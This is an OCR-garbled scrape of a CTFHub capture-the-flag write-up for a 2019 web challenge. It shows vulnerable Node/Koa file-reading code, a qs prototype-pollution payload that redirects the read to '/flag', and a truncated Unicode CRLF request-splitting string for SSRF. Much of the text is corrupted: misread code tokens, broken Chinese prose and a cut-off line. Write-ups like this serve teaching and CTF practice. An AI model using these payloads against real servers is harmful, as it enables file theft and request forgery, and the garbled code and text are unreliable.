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1 home.get ('/save',async (ctx)=>{
2 let ip = ctx.request.ip;
3 let regbody = {switch:false}
4 regbody = gs.parse (ctx.querystring,{allowPrototypes: false});
5
6 if (ip.substr(0, 7) == "::ffff:") {
7 ip = ip.substr(7);
8 }
9 if (ip !== '127.0.0.1" && ip !== server ip) {
10 ctx.status = 403;
11 ctx.response.body = '403: You are not the local user';
12 Jelse {
13 if (regbody.switch === true && regbody.sandbox && regbody.opath &&fs.existsSync (regbody.spath)) {
14 1f(fs.existsSync (regbody.sandbox)) {
15 paths.opath = fs.readdirSync (regbody.sandbox) [0] ;
16 Jelse if(fs.existsSync (regbody.opath)) {
17 let buffer;
18 tmp [regbody . sandbox] [ "opath'] = regbody.opath;
19 if(/[flag]/.test (tmp[regbody.sandbox] [ 'opath'])) {
20 buffer = tmp[regbody.sandbox] ['opath'].replace(/f|1lalg/q,"");
21 Jelsef
22 buffer = regbody.opath;
23 }
24 }
25 let opath = paths.opath? paths.opath : buffer;
26 let text = fs.readFileSync (opath, 'utf8');
27 await WriteResults (regbody.spath,text) ;
28
29 Jelse(
30 return false;
31 }
32 }
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Itmp[' proto ']['opath'] = '/flag';
2=>
3paths.opath = /flag

143t — T 5L AEHSlag B 115 A Flsandbox /results.txt . poc il T, 1#— Fopath #yflagititit, sandbox 27 F 2 Hmd5(ip) 5E1T T


file:///categories/Challenge/
file:///categories/Challenge/2019/
file:///categories/Challenge/2019/%25E5%25AE%2589%25E6%25B4%25B5%25E6%259D%25AF/
file:///categories/Challenge/2019/%25E5%25AE%2589%25E6%25B4%25B5%25E6%259D%25AF/Web/
https://www.wolai.com/ctfhub/hj3e9WMu8X4ePZ3sADXfsH
https://xz.aliyun.com/t/6911
https://www.4hou.com/vulnerable/13637.html
https://snyk.io/vuln/npm:qs:20170213

1 encodeURI ("http://127.0.0.1:3000/query ?param=1\u{0120}HTTP/1.1\u{010D}\u{010A}Host : \u{0120}127.0.0.1:3000\u{010D} \u{010A}Connection: \u{0120}keep-alive\u{010D}\u{010A}\u{01

o AXfF#: CTFHub
o KXHEHE: hiips:/writeup.ctfhub.com/Challenge/2019/ %1 1/ Web/hj 3e9WMu8X4ePZ3sADXfsH html
o JREER:  KIFES L FZ R A HII), KR BY-NC-SA iF i HpiX o F5Ei it WAl !

# Challenge # Web #2019 # %41
easy misc

crackme


https://writeup.ctfhub.com/Challenge/2019/%25E5%25AE%2589%25E6%25B4%25B5%25E6%259D%25AF/Web/hj3e9WMu8X4ePZ3sADXfsH.html
https://creativecommons.org/licenses/by-nc-sa/4.0/
file:///tags/Challenge/
file:///tags/Web/
file:///tags/2019/
file:///tags/%25E5%25AE%2589%25E6%25B4%25B5%25E6%259D%25AF/
file:///Challenge/2019/%25E5%25AE%2589%25E6%25B4%25B5%25E6%259D%25AF/Misc/2QNuvFAxNej16DcT9yUSNn.html
file:///Challenge/2019/%25E5%25AE%2589%25E6%25B4%25B5%25E6%259D%25AF/Reverse/4ixdKX5Jv5KYs6UNgZFJSn.html

	membershop
	WriteUp来源
	题目考点
	解题思路


